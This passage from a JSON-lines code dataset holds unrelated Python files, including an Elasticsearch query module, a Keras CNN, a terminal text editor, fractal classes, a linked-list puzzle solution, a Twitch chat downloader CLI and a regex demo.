FastqWriterProcess(inq=writeq, output=fq_output)\n writer.start()\n reader.start()\n\n reader.join()\n writer.join()\n\n assert sum(1 for r in pysam.FastxFile(fq_output)) == 1001\n\n\n\n\n\n\n\n\n\n","sub_path":"ccanalyser/tests/test_io.py","file_name":"test_io.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"171558354","text":"import logging\nimport json\nfrom common import settings, fields, fields as f, taxonomy\nfrom common.main_elastic_client import elastic_client\nfrom common.elastic_connection_with_retries import elastic_search_with_retry\nfrom common.taxonomy import tax_type, annons_key_to_jobtech_taxonomy_key\n\nlog = logging.getLogger(__name__)\n\ntaxonomy_cache = {}\n\nreverse_tax_type = {item[1]: item[0] for item in tax_type.items()}\n\n\ndef _build_query(query_string, taxonomy_code, entity_type, offset, limit):\n musts = []\n sort = None\n if query_string:\n musts.append({\"bool\": {\"should\": [\n {\n \"match_phrase_prefix\": {\n \"label\": {\n \"query\": query_string\n }\n }\n },\n {\n \"term\": {\n \"concept_id\": {\"value\": query_string}\n }\n },\n {\n \"term\": {\n \"legacy_ams_taxonomy_id\": {\"value\": query_string}\n }\n }\n ]}})\n else:\n # Sort numerically for non-query_string-queries\n sort = [\n {\n \"legacy_ams_taxonomy_num_id\": {\"order\": \"asc\"}\n }\n ]\n if taxonomy_code:\n if not isinstance(taxonomy_code, list):\n taxonomy_code = [taxonomy_code]\n terms = [{\"term\": {\"parent.legacy_ams_taxonomy_id\": t}} for t in taxonomy_code]\n terms += [{\"term\": {\"parent.concept_id.keyword\": t}} for t in taxonomy_code]\n terms += [{\"term\":\n {\"parent.parent.legacy_ams_taxonomy_id\": t}\n } for t in taxonomy_code]\n terms += [{\"term\":\n {\"parent.parent.concept_id.keyword\": t}\n } for t in taxonomy_code]\n parent_or_grandparent = {\"bool\": {\"should\": terms}}\n # musts.append({\"term\": {\"parent.id\": taxonomy_code}})\n musts.append(parent_or_grandparent)\n if entity_type:\n musts.append({\"bool\": {\"should\": [{\"term\": {\"type\": et}} for et in entity_type]}})\n # musts.append({\"term\": {\"type\": entity_type}})\n\n if not musts:\n query_dsl = {\"query\": {\"match_all\": {}}, \"from\": offset, \"size\": limit}\n else:\n query_dsl = {\n \"query\": {\n \"bool\": {\n \"must\": musts\n }\n },\n \"from\": offset,\n \"size\": limit\n }\n if sort:\n query_dsl['sort'] = sort\n\n query_dsl['track_total_hits'] = True\n return query_dsl\n\n\ndef find_concept_by_legacy_ams_taxonomy_id(elastic_client, taxonomy_type, legacy_ams_taxonomy_id,\n not_found_response=None):\n query = {\n \"query\": {\n \"bool\": {\n \"must\": [\n {\"term\": {\"legacy_ams_taxonomy_id\": {\n \"value\": legacy_ams_taxonomy_id}}},\n {\"term\": {\n \"type\": {\n \"value\": annons_key_to_jobtech_taxonomy_key.get(taxonomy_type, '')\n }\n }}\n ]\n }\n }\n }\n\n elastic_response = elastic_search_with_retry(elastic_client, query, settings.ES_TAX_INDEX_ALIAS)\n\n hits = elastic_response.get('hits', {}).get('hits', [])\n if not hits:\n log.warning(f\"No taxonomy entity found for type: {taxonomy_type} and legacy id: {legacy_ams_taxonomy_id}\")\n return not_found_response\n return hits[0]['_source']\n\n\ndef find_concepts(elastic_client, query_string=None, taxonomy_code=[], entity_type=[], offset=0, limit=10):\n query_dsl = _build_query(query_string, taxonomy_code, entity_type, offset, limit)\n log.debug(f\"Query: {json.dumps(query_dsl)}\")\n\n elastic_response = elastic_search_with_retry(client=elastic_client, query=query_dsl,\n index=settings.ES_TAX_INDEX_ALIAS)\n log.debug(\n f\"(find_concepts) took: {elastic_response.get('took', '')}, timed_out: {elastic_response.get('timed_out', '')}\")\n if elastic_response:\n return elastic_response\n else:\n log.error(f\"Failed to query Elasticsearch, query: {query_dsl} index: {settings.ES_TAX_INDEX_ALIAS}\")\n return None\n\n\ndef get_stats_for(taxonomy_type):\n value_path = {\n taxonomy.OCCUPATION: \"%s.%s.keyword\" %\n (fields.OCCUPATION, fields.LEGACY_AMS_TAXONOMY_ID),\n taxonomy.GROUP: \"%s.%s.keyword\" % (\n fields.OCCUPATION_GROUP, fields.LEGACY_AMS_TAXONOMY_ID),\n taxonomy.FIELD: \"%s.%s.keyword\" % (\n fields.OCCUPATION_FIELD, fields.LEGACY_AMS_TAXONOMY_ID),\n taxonomy.SKILL: \"%s.%s.keyword\" % (fields.MUST_HAVE_SKILLS,\n fields.LEGACY_AMS_TAXONOMY_ID),\n taxonomy.MUNICIPALITY: \"%s\" % fields.WORKPLACE_ADDRESS_MUNICIPALITY_CODE,\n taxonomy.REGION: \"%s\" % fields.WORKPLACE_ADDRESS_REGION_CODE\n }\n # Make sure we don't crash if we want to stat on missing type\n for tt in taxonomy_type:\n if tt not in value_path:\n log.warning(f\"Taxonomy type: {taxonomy_type} not configured for aggs.\")\n return {}\n\n aggs_query = {\n \"from\": 0, \"size\": 0,\n \"query\": {\n \"bool\": {\n \"must\": [{\"match_all\": {}}],\n 'filter': [\n {\n 'range': {\n fields.PUBLICATION_DATE: {\n 'lte': 'now/m'\n }\n }\n },\n {\n 'range': {\n fields.LAST_PUBLICATION_DATE: {\n 'gte': 'now/m'\n }\n }\n },\n {\n 'term': {\n fields.REMOVED: False\n }\n },\n ]\n }\n },\n \"aggs\": {\n \"antal_annonser\": {\n \"terms\": {\"field\": value_path[taxonomy_type[0]], \"size\": 5000},\n }\n }\n }\n log.debug(f'(get_stats_for) aggs_query: {json.dumps(aggs_query)}')\n aggs_result = elastic_search_with_retry(elastic_client(), aggs_query, settings.ES_INDEX)\n\n code_count = {\n item['key']: item['doc_count']\n for item in aggs_result['aggregations']['antal_annonser']['buckets']}\n return code_count\n","sub_path":"sokannonser/repository/valuestore.py","file_name":"valuestore.py","file_ext":"py","file_size_in_byte":6562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"509410256","text":"from os.path import basename, splitext\nimport numpy as np\n\nfrom keras.layers import MaxPooling2D, Convolution2D, Dropout, Dense, Flatten, Activation, Conv2D\nfrom keras.models import Sequential\n\n\ndef get_model_id():\n return splitext(basename(__file__))[0]\n\n\ndef build(training_data, height=28, width=28):\n # Initialize data\n _, _, _, nb_classes = training_data\n kernel_size = (3, 3)\n pool_size = (2, 2)\n nb_f = width # nb_filters\n input_shape = (height, width, 1)\n\n model = Sequential()\n model.add(Conv2D(nb_f,\n kernel_size=kernel_size,\n weights=[np.random.normal(0, 0.01, size=(3, 3, 1, nb_f)), np.zeros(nb_f)],\n activation='relu',\n padding='same',\n input_shape=input_shape,\n strides=(1, 1)))\n model.add(MaxPooling2D(pool_size=pool_size, strides=(2, 2)))\n\n model.add(Conv2D(nb_f * 2,\n kernel_size=kernel_size,\n weights=[np.random.normal(0, 0.01, size=(3, 3, nb_f, nb_f * 2)), np.zeros(nb_f * 2)],\n activation='relu',\n padding='same',\n strides=(1, 1)))\n model.add(MaxPooling2D(pool_size=pool_size, strides=(2, 2)))\n\n model.add(Conv2D(nb_f * 4,\n kernel_size=kernel_size,\n weights=[np.random.normal(0, 0.01, size=(3, 3, nb_f * 2, nb_f * 4)), np.zeros(nb_f * 4)],\n activation='relu',\n padding='same',\n strides=(1, 1)))\n model.add(MaxPooling2D(pool_size=pool_size, strides=(2, 2)))\n\n model.add(Flatten())\n\n model.add(Dropout(0.5))\n model.add(Dense(nb_f * 8, activation='relu'))\n\n model.add(Dropout(0.5))\n model.add(Dense(nb_classes, activation='softmax'))\n\n return model\n","sub_path":"models/chinese_strides.py","file_name":"chinese_strides.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"359541719","text":"import sys\nimport argparse\nimport os\nfrom datetime import datetime\nsys.path.append('./src')\nimport tensorflow as tf\nimport tensorboard as tb\ntf.io.gfile = tb.compat.tensorflow_stub.io.gfile\nfrom models import AutoEncoder, HighwayNet\nfrom utils import *\nfrom torch.utils.tensorboard import SummaryWriter\nimport torchvision\n\n\ndef highway():\n \n save = \"./experiments\"\n log_dir = \"./experiments\"\n input_path = \"./data//mnist\"\n batch_size = 16\n lr = 1e-3\n latent_size = 12\n n_iter = 10\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n \n\n checkpoint_dir = f\"{save}/checkpoints/highway\" \n os.makedirs(checkpoint_dir, exist_ok=True)\n\n if device.type == 'cuda':\n log_dir = f\"{log_dir}/logs/highway/cuda\"\n else:\n log_dir = f\"{log_dir}/logs/highway/cpu\"\n os.makedirs(log_dir, exist_ok=True)\n\n checkpoint_path = f'{checkpoint_dir}/checkpoint_' + datetime.now().strftime('%d_%m_%Y_%H:%M:%S')\n \n writer = SummaryWriter(log_dir)\n\n\n writer = SummaryWriter(log_dir)\n \n\n data = MNIST(transform=True, test_size=0.1, train_batch_size = batch_size, input_path=input_path)\n traindata, valdata, testdata = data.data()\n train, val, test = data.loader()\n\n n = 300\n x, labels = testdata[np.random.randint(0, len(testdata), n)]\n images, labels = torch.from_numpy(x.reshape(n, 1, 28,28)), torch.from_numpy(labels).to(device)\n img_grid = torchvision.utils.make_grid(images)\n # matplotlib_imshow(img_grid, one_channel=True)\n writer.add_image(f'{n}_mnist_images', img_grid)\n \n images, labels = images.to(device), labels.to(device)\n \n model = HighwayNet(28*28, 128, 10, 10)\n optimizer = torch.optim.Adam(params=model.parameters(), lr=lr)\n criterion = torch.nn.CrossEntropyLoss()\n\n model = model.to(device)\n \n writer.add_graph(model, images.view(len(images),28*28))\n \n losses = train_classifier(\n train, \n test, \n model, \n criterion, \n optimizer, \n device, \n checkpoint_path, \n writer, \n n_iter=n_iter\n )\n \n \nif __name__ == \"__main__\":\n highway()\n","sub_path":"tme3/highway.py","file_name":"highway.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"608706333","text":"#!/usr/bin/env python\n\nimport copy\nimport sys\nimport tty\nimport termios\n\nNORMAL = 0\nEDIT = 1\nMETA = 2\n\nUP = 1000\nDOWN = 1001\nLEFT = 1002\nRIGHT = 1003\n\n\nclass Editor():\n def __init__(self, f):\n lines = [l.replace(\"\\n\", \"\") for l in f]\n self.buffer = Buffer(lines)\n self.cursor = Cursor(0, 0)\n self.mode = NORMAL\n self.history = []\n\n def set_raw(self):\n fd = sys.stdin.fileno()\n self.old_settings = termios.tcgetattr(fd)\n tty.setraw(fd)\n\n def unset_raw(self):\n fd = sys.stdin.fileno()\n termios.tcsetattr(fd, termios.TCSADRAIN, self.old_settings)\n\n def run(self):\n self.running = True\n self.set_raw()\n while self.running:\n self.render()\n if self.mode == NORMAL: self.handle_input()\n if self.mode == EDIT: self.handle_edit()\n if self.mode == META: self.handle_meta()\n self.unset_raw()\n\n def render(self):\n ANSI.clear_screen()\n ANSI.move_cursor(0, 0)\n self.buffer.render()\n ANSI.move_cursor(self.cursor.row, self.cursor.col)\n\n def handle_meta(self):\n char = sys.stdin.read(1)\n\n if char == 'q': self.running = False\n\n def handle_edit(self):\n char = self.read_input()\n\n if char == chr(27): # ESC\n self.mode = NORMAL\n elif char == chr(127) and self.cursor.col: # BACK\n self.save_snapshot()\n self.buffer = self.buffer.delete(self.cursor)\n self.cursor = self.cursor.left(self.buffer)\n elif char == '\\r':\n self.save_snapshot()\n self.buffer = self.buffer.split_line(self.cursor)\n self.cursor = Cursor(self.cursor.row+1, 0)\n elif char == UP: self.cursor = self.cursor.up(self.buffer)\n elif char == DOWN: self.cursor = self.cursor.down(self.buffer)\n elif char == LEFT: self.cursor = self.cursor.left(self.buffer)\n elif char == RIGHT: self.cursor = self.cursor.right(self.buffer)\n else:\n self.save_snapshot()\n self.buffer = self.buffer.insert(char, self.cursor)\n self.cursor = self.cursor.right(self.buffer)\n\n def read_input(self):\n char = sys.stdin.read(1)\n\n if char == '\\x1b':\n nchar = sys.stdin.read(1)\n\n if nchar != '[': return char\n\n char = sys.stdin.read(1)\n\n if char == 'A': return UP\n if char == 'B': return DOWN\n if char == 'C': return RIGHT\n if char == 'D': return LEFT\n\n return char\n\n def handle_input(self):\n char = self.read_input()\n\n if char == ':': self.mode = META\n elif char == 'w' or char == UP:\n self.cursor = self.cursor.up(self.buffer)\n elif char == 's' or char == DOWN:\n self.cursor = self.cursor.down(self.buffer)\n elif char == 'a' or char == LEFT:\n self.cursor = self.cursor.left(self.buffer)\n elif char == 'd' or char == RIGHT:\n self.cursor = self.cursor.right(self.buffer)\n elif char == 'u': self.restore_snapshot()\n elif char == 'e': self.mode = EDIT\n\n def save_snapshot(self):\n self.history.append([self.buffer, self.cursor])\n\n def restore_snapshot(self):\n if len(self.history): self.buffer, self.cursor = self.history.pop()\n\n\nclass ANSI():\n @staticmethod\n def ansi(s):\n return \"\\x1b[\" + s\n\n @staticmethod\n def clear_screen():\n sys.stdout.write(ANSI.ansi(\"2J\"))\n\n @staticmethod\n def move_cursor(x, y):\n sys.stdout.write(ANSI.ansi(\"{};{}H\".format(x+1, y+1)))\n\n\n\nclass Buffer():\n def __init__(self, lines):\n self.lines = lines\n\n def render(self):\n for line in self.lines:\n sys.stdout.write(line + \"\\r\\n\")\n\n def line_count(self):\n return len(self.lines)\n\n def line_length(self, x):\n return len(self.lines[x])\n\n def insert(self, char, cursor):\n lines = copy.copy(self.lines)\n line = lines[cursor.row]\n lines[cursor.row] = line[:cursor.col] + char + line[cursor.col:]\n return Buffer(lines)\n\n def delete(self, cursor):\n lines = copy.copy(self.lines)\n line = lines[cursor.row]\n lines[cursor.row] = line[:cursor.col-1] + line[cursor.col:]\n return Buffer(lines)\n\n def split_line(self, cursor):\n lines = copy.copy(self.lines)\n line = lines[cursor.row]\n before, after = line[:cursor.col], line[cursor.col:]\n lines[cursor.row] = before\n lines.insert(cursor.row+1, after)\n return Buffer(lines)\n\n\nclass Cursor():\n def __init__(self, row=0, col=0):\n self.row = row\n self.col = col\n\n def up(self, buf):\n return Cursor(self.row-1, self.col).clamp(buf)\n\n def down(self, buf):\n return Cursor(self.row+1, self.col).clamp(buf)\n\n def left(self, buf):\n return Cursor(self.row, self.col-1).clamp(buf)\n\n def right(self, buf):\n return Cursor(self.row, self.col+1).clamp(buf)\n\n def clamp(self, buf):\n row = max(0, min(self.row, buf.line_count()-1))\n col = max(0, min(self.col, buf.line_length(row)))\n return Cursor(row, col)\n\n\nwith open(sys.argv[1]) as f:\n Editor(f).run()\n","sub_path":"t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"43813497","text":"######################################################################################################################\n# Name: Jean Gourd\n# Date: 2017-12-14\n# Description: A module that describes fractals and points.\n######################################################################################################################\nfrom Tkinter import *\nfrom math import sqrt, sin, cos, pi as PI\nfrom random import randint\n\n# the 2D point class\nclass Point(object):\n\t# the constructor\n\tdef __init__(self, x=0.0, y=0.0):\n\t\t# initialize components with default (0.0,0.0)\n\t\tself.x = float(x)\n\t\tself.y = float(y)\n\n\t# accessors and mutators\n\t@property\n\tdef x(self):\n\t\treturn self._x\n\n\t@x.setter\n\tdef x(self, value):\n\t\tself._x = value\n\n\t@property\n\tdef y(self):\n\t\treturn self._y\n\n\t@y.setter\n\tdef y(self, value):\n\t\tself._y = value\n\n\t# calculates and returns the distance between two points\n\tdef dist(self, other):\n\t\treturn sqrt((self.x - other.x) ** 2 + (self.y - other.y) ** 2)\n\n\t# calculates and returns the midpoint between two points\n\tdef midpt(self, other):\n\t\treturn Point((self.x + other.x) / 2.0, (self.y + other.y) / 2.0)\n\n\t# calculates and returns a point that is a distance ratio between two points\n\tdef interpt(self, other, r):\n\t\t# make sure that the distance ratio is expressed from a smaller component value to a larger one\n\t\t# first, the x-component\n\t\trx = r\n\t\tif (self.x > other.x):\n\t\t\trx = 1.0 - r\n\t\t# next, the x-component\n\t\try = r\n\t\tif (self.y > other.y):\n\t\t\try = 1.0 - r\n\n\t\t# calculate the new point's coordinates\n\t\t# the difference in the components (i.e., distance between the points) is first scaled by the specified distance ratio\n\t\t# the minimum of the components is then added back in order to obtain the coordinates in between the two points (and not with respect to the origin)\n\t\tx = abs(self.x - other.x) * rx + min(self.x, other.x)\n\t\ty = abs(self.y - other.y) * ry + min(self.y, other.y)\n\n\t\treturn Point(x, y)\n\n\t# returns a string representation of the point: (x,y)\n\tdef __str__(self):\n\t\treturn \"({},{})\".format(self.x, self.y)\n\n# the fractal superclass\nclass Fractal(object):\n\t# the constructor\n\tdef __init__(self, dimensions):\n\t\t# the canvas dimensions\n\t\tself.dimensions = dimensions\n\t\t# the default number of points to plot is 50,000\n\t\tself.num_points = 50000\n\t\t# the default distance ratio is 0.5 (halfway)\n\t\tself.r = 0.5\n\n\t# accessors and mutators\n\t@property\n\tdef vertices(self):\n\t\treturn self._vertices\n\n\t@vertices.setter\n\tdef vertices(self, v):\n\t\tself._vertices = v\n\n\t# calculates and returns the x-coordinate of a point that is a distance ratio on the canvas horizontally\n\tdef frac_x(self, r):\n\t\treturn int((self.dimensions[\"max_x\"] - self.dimensions[\"min_x\"]) * r) + self.dimensions[\"min_x\"]\n\n\t# calculates and returns the y-coordinate of a point that is a distance ratio on the canvas vertically\n\tdef frac_y(self, r):\n\t\treturn int((self.dimensions[\"max_y\"] - self.dimensions[\"min_y\"]) * r) + self.dimensions[\"min_y\"]\n\n# the Sierpinski triangle fractal class\n# inherits from the fractal class\nclass SierpinskiTriangle(Fractal):\n\t# the constructor\n\tdef __init__(self, canvas):\n\t\t# call the constructor in the superclass\n\t\tFractal.__init__(self, canvas)\n\t\t# define the vertices based on the fractal size\n\t\tv1 = Point(self.dimensions[\"mid_x\"], self.dimensions[\"min_y\"])\n\t\tv2 = Point(self.dimensions[\"min_x\"], self.dimensions[\"max_y\"])\n\t\tv3 = Point(self.dimensions[\"max_x\"], self.dimensions[\"max_y\"])\n\t\tself.vertices = [ v1, v2, v3 ]\n\n# the Sierpinski carpet fractal class\n# inherits from the fractal class\nclass SierpinskiCarpet(Fractal):\n\t# the constructor\n\tdef __init__(self, canvas):\n\t\t# call the constructor in the superclass\n\t\tFractal.__init__(self, canvas)\n\t\t# define the vertices based on the fractal size\n\t\tv1 = Point(self.dimensions[\"min_x\"], self.dimensions[\"min_y\"])\n\t\tv2 = Point(self.dimensions[\"mid_x\"], self.dimensions[\"min_y\"])\n\t\tv3 = Point(self.dimensions[\"max_x\"], self.dimensions[\"min_y\"])\n\t\tv4 = Point(self.dimensions[\"min_x\"], self.dimensions[\"mid_y\"])\n\t\tv5 = Point(self.dimensions[\"max_x\"], self.dimensions[\"mid_y\"])\n\t\tv6 = Point(self.dimensions[\"min_x\"], self.dimensions[\"max_y\"])\n\t\tv7 = Point(self.dimensions[\"mid_x\"], self.dimensions[\"max_y\"])\n\t\tv8 = Point(self.dimensions[\"max_x\"], self.dimensions[\"max_y\"])\n\t\tself.vertices = [ v1, v2, v3, v4, v5, v6, v7, v8 ]\n\t\t# set the number of points for this fractal\n\t\tself.num_points = 100000\n\t\t# set the distance ratio for this fractal\n\t\tself.r = 0.66\n\n# the pentagon fractal class\n# inherits from the fractal class\nclass Pentagon(Fractal):\n\t# the constructor\n\tdef __init__(self, canvas):\n\t\t# call the constructor in the superclass\n\t\tFractal.__init__(self, canvas)\n\t\t# define the vertices based on the fractal size\n\t\tv1 = Point(self.dimensions[\"mid_x\"] + self.dimensions[\"mid_x\"] * cos(2 * PI / 5 + 60), (self.frac_y(0.5375) + self.dimensions[\"mid_y\"] * sin(2 * PI / 5 + 60)))\n\t\tv2 = Point(self.dimensions[\"mid_x\"] + self.dimensions[\"mid_x\"] * cos(4 * PI / 5 + 60), (self.frac_y(0.5375) + self.dimensions[\"mid_y\"] * sin(4 * PI / 5 + 60)))\n\t\tv3 = Point(self.dimensions[\"mid_x\"] + self.dimensions[\"mid_x\"] * cos(6 * PI / 5 + 60), (self.frac_y(0.5375) + self.dimensions[\"mid_y\"] * sin(6 * PI / 5 + 60)))\n\t\tv4 = Point(self.dimensions[\"mid_x\"] + self.dimensions[\"mid_x\"] * cos(8 * PI / 5 + 60), (self.frac_y(0.5375) + self.dimensions[\"mid_y\"] * sin(8 * PI / 5 + 60)))\n\t\tv5 = Point(self.dimensions[\"mid_x\"] + self.dimensions[\"mid_x\"] * cos(10 * PI / 5 + 60), (self.frac_y(0.5375) + self.dimensions[\"mid_y\"] * sin(10 * PI / 5 + 60)))\n\t\tself.vertices = [ v1, v2, v3, v4, v5 ]\n\t\t# set the distance ratio for this fractal\n\t\tself.r = 0.618\n\n# the hexagon fractal class\n# inherits from the fractal class\nclass Hexagon(Fractal):\n\t# the constructor\n\tdef __init__(self, canvas):\n\t\t# call the constructor in the superclass\n\t\tFractal.__init__(self, canvas)\n\t\t# define the vertices based on the fractal size\n\t\tv1 = Point(self.dimensions[\"mid_x\"], self.dimensions[\"min_y\"])\n\t\tv2 = Point(self.dimensions[\"min_x\"], self.frac_y(0.25))\n\t\tv3 = Point(self.dimensions[\"max_x\"], self.frac_y(0.25))\n\t\tv4 = Point(self.dimensions[\"min_x\"], self.frac_y(0.75))\n\t\tv5 = Point(self.dimensions[\"max_x\"], self.frac_y(0.75))\n\t\tv6 = Point(self.dimensions[\"mid_x\"], self.dimensions[\"max_y\"])\n\t\tself.vertices = [ v1, v2, v3, v4, v5, v6 ]\n\t\t# set the distance ratio for this fractal\n\t\tself.r = 0.665\n\n# the octagon fractal class\n# inherits from the fractal class\nclass Octagon(Fractal):\n\t# the constructor\n\tdef __init__(self, canvas):\n\t\t# call the constructor in the superclass\n\t\tFractal.__init__(self, canvas)\n\t\t# define the vertices based on the fractal size\n\t\tv1 = Point(self.frac_x(0.2925), self.dimensions[\"min_y\"])\n\t\tv2 = Point(self.frac_x(0.7075), self.dimensions[\"min_y\"])\n\t\tv3 = Point(self.dimensions[\"min_x\"], self.frac_y(0.2925))\n\t\tv4 = Point(self.dimensions[\"max_x\"], self.frac_y(0.2925))\n\t\tv5 = Point(self.dimensions[\"min_x\"], self.frac_y(0.7075))\n\t\tv6 = Point(self.dimensions[\"max_x\"], self.frac_y(0.7075))\n\t\tv7 = Point(self.frac_x(0.2925), self.dimensions[\"max_y\"])\n\t\tv8 = Point(self.frac_x(0.7075), self.dimensions[\"max_y\"])\n\t\tself.vertices = [ v1, v2, v3, v4, v5, v6, v7, v8 ]\n\t\t# set the number of points for this fractal\n\t\tself.num_points = 75000\n\t\t# set the distance ratio for this fractal\n\t\tself.r = 0.705\n\t\t\nOctagon(Fractal)\n","sub_path":"Python2.7 programs/FRACTALS REEEEEEEEEE.py","file_name":"FRACTALS REEEEEEEEEE.py","file_ext":"py","file_size_in_byte":7303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"212660383","text":"# -*- encoding: utf-8 -*-\n\n\n\"\"\"\n@File : letcode_143_重排链表.py\n@Time : 2020/10/20 上午8:47\n@Author : dididididi\n@Email : \n@Software: PyCharm\n\"\"\"\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solutions:\n def reorderList(self, head: ListNode) -> None:\n \"\"\"\n Do not return anything, modify head in-place instead.\n \"\"\"\n vals = []\n while head:\n vals.append(head)\n head = head.next\n lens = len(vals)\n for i in range(lens - 1, lens // 2, -1):\n vals[i].next = vals[lens - i]\n vals[lens - i - 1].next = vals[i]\n vals[i - 1].next = None\n\n\nclass Solution:\n \"\"\"\n 想出第一种方法容易,现在考虑一下第二种\n \"\"\"\n def reorderList(self, head: ListNode) -> None:\n \"\"\"\n Do not return anything, modify head in-place instead.\n \"\"\"\n if not head:\n return []\n\n middle = self.middleNode(head)\n l1 = head\n l2 = middle.next\n middle.next = None\n l2 = self.reverseList(l2)\n self.mergeList(l1, l2)\n\n def middleNode(self, head: ListNode) -> ListNode:\n \"\"\"\n 查找中点\n :param head:\n :return:\n \"\"\"\n slow = fast = head\n while fast.next and fast.next.next:\n fast = fast.next.next\n slow = slow.next\n return slow\n\n def reverseList(self, head: ListNode) -> ListNode:\n \"\"\"\n 翻转列表\n :param head:\n :return:\n \"\"\"\n prev = None\n while head:\n temp = head.next\n head.next = prev\n prev = head\n head = temp\n return prev\n\n def mergeList(self, l1: ListNode, l2: ListNode):\n \"\"\"\n 融合链表\n :param l1:\n :param l2:\n :return:\n \"\"\"\n while l1 and l2:\n l1_tmp = l1.next\n l2_tmp = l2.next\n\n l1.next = l2\n l1 = l1_tmp\n\n l2.next = l1\n l2 = l2_tmp\n\n\n\n\n\nif __name__ == '__main__':\n head = ListNode(1)\n head.next = ListNode(2)\n head.next.next = ListNode(3)\n head.next.next.next = ListNode(4)\n head.next.next.next.next = ListNode(5)\n\n sol = Solution()\n sol.reorderList(head)\n","sub_path":"letcode_143_重排链表.py","file_name":"letcode_143_重排链表.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"371068884","text":"import argparse\nimport app.config\n\nformat_types = app.config.settings['formats']\n\nparser: argparse.ArgumentParser = argparse.ArgumentParser(description='Twitch Chat Downloader')\nparser.add_argument('-v', '--video', type=str, help='Video id')\nparser.add_argument('--client_id', type=str, help='Twitch client id', default=None)\n# parser.add_argument('--verbose', action='store_true')\n# parser.add_argument('-q', '--quiet', action='store_true')\nparser.add_argument('-o', '--output', type=str, help='Output folder', default='./output')\nparser.add_argument('-f', '--format', type=str, help='Message format', default='default')\n# parser.add_argument('--start', type=int, help='Start time in seconds from video start')\n# parser.add_argument('--stop', type=int, help='Stop time in seconds from video start')\n# parser.add_argument('--subtitle-duration', type=int, help='If using a subtitle format, subtitle duration in seconds')\n\narguments = parser.parse_args()\n\n# Fix format\narguments.format = str(arguments.format).lower()\n\n# Video ID\nif arguments.video is None:\n answer: str = input('Video ID: ')\n arguments.video = answer.strip('v')\n\n# Twitch client ID\nif not app.config.settings['client_id'] and arguments.client_id is None:\n print('Twitch requires a client ID to use their API.'\n '\\nRegister an application on https://dev.twitch.tv/dashboard to get yours.')\n app.config.settings['client_id'] = input('Client ID: ')\n answer: str = input('Save client ID? (Y/n): ')\n if answer.lower() != \"n\":\n app.config.save(app.config.SETTINGS_FILE, app.config.settings)\n","sub_path":"app/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"122788115","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('gem_store', '0002_remove_product_category'),\n ]\n\n operations = [\n migrations.DeleteModel(\n name='Category',\n ),\n migrations.RenameField(\n model_name='review',\n old_name='create_on',\n new_name='created_on',\n ),\n migrations.AlterField(\n model_name='image',\n name='image',\n field=models.ImageField(upload_to='gem_store/Product/Image/2014/10/08'),\n ),\n ]\n","sub_path":"gem_store/migrations/0003_auto_20141008_1505.py","file_name":"0003_auto_20141008_1505.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"579704535","text":"# Clyde 'Thluffy' Sinclair\n# SoftDev -- Rona Ed.\n# Oct 2020\n\nfrom flask import Flask\napp = Flask(__name__) # create instance of class Flask\n\n\n@app.route(\"/\") # assign fxn to route\ndef hello_world():\n print(\"about to print __name__...\")\n print(__name__) # where will this go?\n return \"No hablo queso!\"\n\n\napp.run()\n\n# Difference: added lines 10 and 11\n# Prediction: will print \"about to print __name__...\" and then \"__main__\" to the terminal\n# What happened: When link is opened, prints output of lines 10,11 to terminal","sub_path":"10_flask01/v2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"405260427","text":"# we will use the search method and see how that works...\nimport re\nstring = \"The Emperor protects!\"\npat = re.compile(r\"^Emperor\")\n\n# now we will simply use the search method..\nprint(pat.search(string)) #this is returnung an empty string...\n\n# this is because we have compiled the pattern with the ^ \n\n# noe let us make another regex object without the ^...\npat2 = re.compile(r\"Emperor\")\n\n# now let us search with this pattern...\n\nprint(pat2.search(string)) #this finds the match and creates a match object..\n\n","sub_path":"reggaeton/usingsearch.py","file_name":"usingsearch.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"212098220","text":"from gym import utils\nfrom gym.envs.robotics import fetch_env, rotations\nfrom gym.envs.robotics import utils as robot_utils\nfrom random import uniform\nimport numpy as np\n\n\nBLOCK_HEIGHT = 0.025\n\n\ndef goal_distance(goal_a, goal_b):\n assert goal_a.shape == goal_b.shape\n return np.linalg.norm(goal_a - goal_b, axis=-1)\n\nclass FetchBlockStacking(fetch_env.FetchEnv, utils.EzPickle):\n def __init__(self, reward_type='sparse'):\n var = 0.22\n initial_qpos = {\n 'robot0:slide0': 0.405,\n 'robot0:slide1': 0.48,\n 'robot0:slide2': 0.0,\n # qpos[0~2] : root joint cartesian position (x, y, z) of center of mass\n # qpos[3~6] : orientation\n 'object0:joint': [1.25 - uniform(-var, var), 0.8 - uniform(-var, var), 0.43, 1., 0., 0., 0.],\n 'object1:joint': [1.25 - uniform(-var, var), 0.7 - uniform(-var, var), 0.43, 1., 0., 0., 0.],\n 'object2:joint': [1.25 - uniform(-var, var), 0.7 - uniform(-var, var), 0.43, 1., 0., 0., 0.],\n 'object3:joint': [1.25 - 